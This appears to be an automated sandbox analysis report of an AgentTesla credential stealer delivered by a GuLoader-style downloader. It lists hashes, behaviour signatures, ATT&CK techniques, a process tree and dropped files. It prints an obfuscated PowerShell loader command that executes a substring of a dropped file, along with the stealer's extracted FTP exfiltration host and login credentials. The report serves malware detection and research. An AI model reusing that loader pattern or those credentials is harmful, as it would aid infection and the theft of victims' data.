agenttesla | a764b13001e6096c2ac36917bef4405ba8d22b6d06a5741f21977bf46c8afca4

General

Target

SecuriteInfo.com.Win32.SuspectCrc.25896.32261.exe
Size

707KB
MD5

23956e32be182666e0efceecd423376f
SHA1

2e00a592b4c2fa8b99b62eb9d0e886bfcc103dc2
SHA256

a764b13001e6096c2ac36917bef4405ba8d22b6d06a5741f21977bf46c8afca4
SHA512

abe088e593ea900b9ed622b7e1751b2d3f1287b6dc683b99ee76629f4a2c5fecf5a21065ac15e2d6b60ec15bef16f05c2eab31858d0a381f87318cdb3f19bb5b
SSDEEP

12288:jfYRGeCHL7BTAIMMMgNTl+kVpMfynA4fA3Nws9Cn6oUisns52wA3ImBlVknu6RtM:jfYIxMMMgNTcv6nAUuS6fbs2wA/leliz

Score

10^/10

agenttesla guloader credential_access discovery downloader execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://mail.hearing-vision.com
Port:
21
Username:
[email protected]
Password:
LILKOOLL14!

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Loads dropped DLL 1 IoCs

pid	Process
3640	SecuriteInfo.com.Win32.SuspectCrc.25896.32261.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
40	ip-api.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3884	wabmig.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1164	powershell.exe
3884	wabmig.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1164 set thread context of 3884	1164	powershell.exe	96

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1164	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecuriteInfo.com.Win32.SuspectCrc.25896.32261.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wabmig.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1164	powershell.exe
1164	powershell.exe
1164	powershell.exe
1164	powershell.exe
1164	powershell.exe
1164	powershell.exe
1164	powershell.exe
1164	powershell.exe
1164	powershell.exe
3884	wabmig.exe
3884	wabmig.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1164	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1164	powershell.exe
Token: SeDebugPrivilege	3884	wabmig.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3640 wrote to memory of 1164	3640	SecuriteInfo.com.Win32.SuspectCrc.25896.32261.exe	92
PID 3640 wrote to memory of 1164	3640	SecuriteInfo.com.Win32.SuspectCrc.25896.32261.exe	92
PID 3640 wrote to memory of 1164	3640	SecuriteInfo.com.Win32.SuspectCrc.25896.32261.exe	92
PID 1164 wrote to memory of 3884	1164	powershell.exe	96
PID 1164 wrote to memory of 3884	1164	powershell.exe	96
PID 1164 wrote to memory of 3884	1164	powershell.exe	96
PID 1164 wrote to memory of 3884	1164	powershell.exe	96
PID 1164 wrote to memory of 3884	1164	powershell.exe	96

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.SuspectCrc.25896.32261.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.SuspectCrc.25896.32261.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3640
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Kuldsejlede=Get-Content 'C:\Users\Admin\AppData\Local\hjemmebagtes\Semitisk\Kompagnon.Boa';$Rheumily=$Kuldsejlede.SubString(52518,3);.$Rheumily($Kuldsejlede)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1164
- - C:\Program Files (x86)\windows mail\wabmig.exe
    "C:\Program Files (x86)\windows mail\wabmig.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\quipping.ini

Filesize
31B

MD5
b65d9d0954c63abeaa2f3bbfbdb38083

SHA1
cb1463622481c3ac5cb5fe4244e3b793450f634b

SHA256
e4789c68b39b47d9b8790d5fabc77bc3e48bb018be4d5bffa3adc6825e2a0f2d

SHA512
df1c7f3117c3ee307e2de0c7bbe0e0d9ed451e1f726f24572b5b3f2c44051b98fe3a20c68c9b3ad4f0db146b276a836b2dceadfecfc176ad1f49fc113f1ebd22

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bejca4is.riz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso9079.tmp\nsExec.dll

Filesize
7KB

MD5
11092c1d3fbb449a60695c44f9f3d183

SHA1
b89d614755f2e943df4d510d87a7fc1a3bcf5a33

SHA256
2cd3a2d4053954db1196e2526545c36dfc138c6de9b81f6264632f3132843c77

SHA512
c182e0a1f0044b67b4b9fb66cef9c4955629f6811d98bbffa99225b03c43c33b1e85cacabb39f2c45ead81cd85e98b201d5f9da4ee0038423b1ad947270c134a

Download Submit
C:\Users\Admin\AppData\Local\hjemmebagtes\Semitisk\Kompagnon.Boa

Filesize
51KB

MD5
92a895c8e85749ca3f49b937b27518a9

SHA1
0191a7383722202ace332e5ca1405fe6693dc6b1

SHA256
765ea1c471430d2f1d5101d9d9dd6c1f21ba1fb08ecce594135e05a685badcad

SHA512
9df7f333a5c1b5c4a3b815605db888f5e01cfc87c4125026e09e387e73125fa1425aa6a0dd92a7bc46b2ecd9cd0da12a2ae079475483300f5b975637b5d034f3

Download Submit
C:\Users\Admin\AppData\Local\hjemmebagtes\Semitisk\varmetppe.Ove

Filesize
339KB

MD5
e83c55228cd6aa177575f805039e6d2f

SHA1
53377279edfe9d8c23dd3f616acc699bd6e90f28

SHA256
0f26eda5b73127d926f7f80a70d5425cd0b317c4a92326ba65ffd3b69b171488

SHA512
5af11c072286063df1a79de4c16650fb4ec531aac01daa3971dfb357815e1cc58d141528bf8c820944330be722cd69d3044a5c1af9b2ab15d74d8f81b99e7866

Download Submit
memory/1164-172-0x0000000008220000-0x000000000889A000-memory.dmp

Filesize
6.5MB

Download
memory/1164-148-0x00000000732BE000-0x00000000732BF000-memory.dmp

Filesize
4KB

Download
memory/1164-153-0x00000000055D0000-0x0000000005636000-memory.dmp

Filesize
408KB

Download
memory/1164-154-0x00000000056B0000-0x0000000005716000-memory.dmp

Filesize
408KB

Download
memory/1164-151-0x0000000004FA0000-0x00000000055C8000-memory.dmp

Filesize
6.2MB

Download
memory/1164-160-0x0000000005760000-0x0000000005AB4000-memory.dmp

Filesize
3.3MB

Download
memory/1164-165-0x0000000005D90000-0x0000000005DAE000-memory.dmp

Filesize
120KB

Download
memory/1164-166-0x0000000005DC0000-0x0000000005E0C000-memory.dmp

Filesize
304KB

Download
memory/1164-169-0x0000000006D70000-0x0000000006D92000-memory.dmp

Filesize
136KB

Download
memory/1164-168-0x0000000006290000-0x00000000062AA000-memory.dmp

Filesize
104KB

Download
memory/1164-167-0x00000000062E0000-0x0000000006376000-memory.dmp

Filesize
600KB

Download
memory/1164-170-0x00000000075F0000-0x0000000007B94000-memory.dmp

Filesize
5.6MB

Download
memory/1164-150-0x00000000732B0000-0x0000000073A60000-memory.dmp

Filesize
7.7MB

Download
memory/1164-149-0x00000000027D0000-0x0000000002806000-memory.dmp

Filesize
216KB

Download
memory/1164-174-0x00000000732B0000-0x0000000073A60000-memory.dmp

Filesize
7.7MB

Download
memory/1164-175-0x00000000732B0000-0x0000000073A60000-memory.dmp

Filesize
7.7MB

Download
memory/1164-176-0x00000000732B0000-0x0000000073A60000-memory.dmp

Filesize
7.7MB

Download
memory/1164-152-0x0000000004EE0000-0x0000000004F02000-memory.dmp

Filesize
136KB

Download
memory/1164-178-0x00000000732B0000-0x0000000073A60000-memory.dmp

Filesize
7.7MB

Download
memory/1164-179-0x00000000732BE000-0x00000000732BF000-memory.dmp

Filesize
4KB

Download
memory/1164-180-0x00000000732B0000-0x0000000073A60000-memory.dmp

Filesize
7.7MB

Download
memory/1164-181-0x00000000088A0000-0x000000000DA77000-memory.dmp

Filesize
81.8MB

Download
memory/1164-182-0x00000000732B0000-0x0000000073A60000-memory.dmp

Filesize
7.7MB

Download
memory/1164-183-0x00000000732B0000-0x0000000073A60000-memory.dmp

Filesize
7.7MB

Download
memory/1164-185-0x00000000732B0000-0x0000000073A60000-memory.dmp

Filesize
7.7MB

Download
memory/3884-186-0x0000000002470000-0x0000000007647000-memory.dmp

Filesize
81.8MB

Download
memory/3884-187-0x0000000076F21000-0x0000000077041000-memory.dmp

Filesize
1.1MB

Download
memory/3884-191-0x0000000001210000-0x0000000002464000-memory.dmp

Filesize
18.3MB

Download
memory/3884-192-0x0000000001210000-0x0000000001252000-memory.dmp

Filesize
264KB

Download
memory/3884-193-0x0000000026160000-0x00000000261B0000-memory.dmp

Filesize
320KB

Download
memory/3884-194-0x0000000026250000-0x00000000262E2000-memory.dmp

Filesize
584KB

Download
memory/3884-195-0x0000000026140000-0x000000002614A000-memory.dmp

Filesize
40KB

Download
memory/3884-197-0x0000000076F21000-0x0000000077041000-memory.dmp

Filesize
1.1MB

Download

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